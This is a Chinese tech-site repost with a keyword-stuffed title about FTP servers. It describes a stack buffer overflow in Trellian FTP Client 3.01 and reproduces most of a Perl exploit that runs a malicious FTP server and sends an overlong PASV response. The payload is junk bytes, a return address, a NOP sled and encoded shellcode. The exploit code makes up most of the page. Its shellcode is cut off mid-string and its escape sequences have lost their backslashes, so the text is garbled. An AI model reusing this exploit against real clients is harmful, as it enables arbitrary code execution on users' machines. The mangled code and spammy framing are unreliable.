谷普ftp服务器_ftp服务器_ftp服务器有什么用

Trellian FTP Client 3.01漏洞描述:

Trellian FTP 是一款常用的FTP客户端。谷普ftp服务器谷普ftp服务器

Trellian FTP客户端在处理FTP响应时存在栈溢出漏洞。用户受骗连接到了恶意的FTP服务器并接管到了超长的PASV响应就可以触发这个溢出，导致在用户机器上履行任意代码。<*参考

*>

测试法子:

[]

# Date: 2010-04-11

# Author: zombiefx

# Software Link:

# Version: Trellian FTP Client v 3.01

# Tested on: Windows XP SP3

# Usage: ./ftpserver.pl

# Acts as a fake ftp server that passes the vulnerable PASV command when a clients connects.

# Code:

#!/usr/bin/perl

use warnings;

use strict;

use IO::Socket;

my $ftpsock =

new IO::Socket::INET( LocalPort => ’21’, Proto => ’tcp’, Listen => ’1’ )

or die "Socket Not Created $!n";

print"#############################################################n"

. "# Trellian FTP Client PASV BOF exploit #n"

. "# Author:zombiefx #n"

. "# Greetz to: corelanc0d3r/Dino Dai Zovi #n"

. "# #n"

. "# :8800 #n"

. "#############################################################n";

my $junk = "x41" x 200;

my $jmpesp = pack( ’V’,0x7E429353 ); #oops

my $nops = "x90" x 50;

my $calcshell =

"x89xe2xdaxc1xd9x72xf4x58x50x59x49x49x49x49"

. "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56"

. "x58x34x41x50x30x41x33x48x48x30x41x30x30x41"

. "x42x41x41x42x54x41x41x51x32x41x42x32x42x42"

. "x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a"

. "x48x50x44x43x30x43x30x45x50x4cx4bx47x35x47"

. "x4cx4cx4bx43x4cx43x35x43x48x45x51x4ax4fx4c"

. "x4bx50x4fx42x38x4cx4bx51x4fx47x50x43x31x4a"

. "x4bx51x59x4cx4bx46x54x4cx4bx43x31x4ax4ex50"

. "x31x49x50x4cx59x4ex4cx4cx44x49x50x43x44x43"

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/bofangqi/article-52961-1.html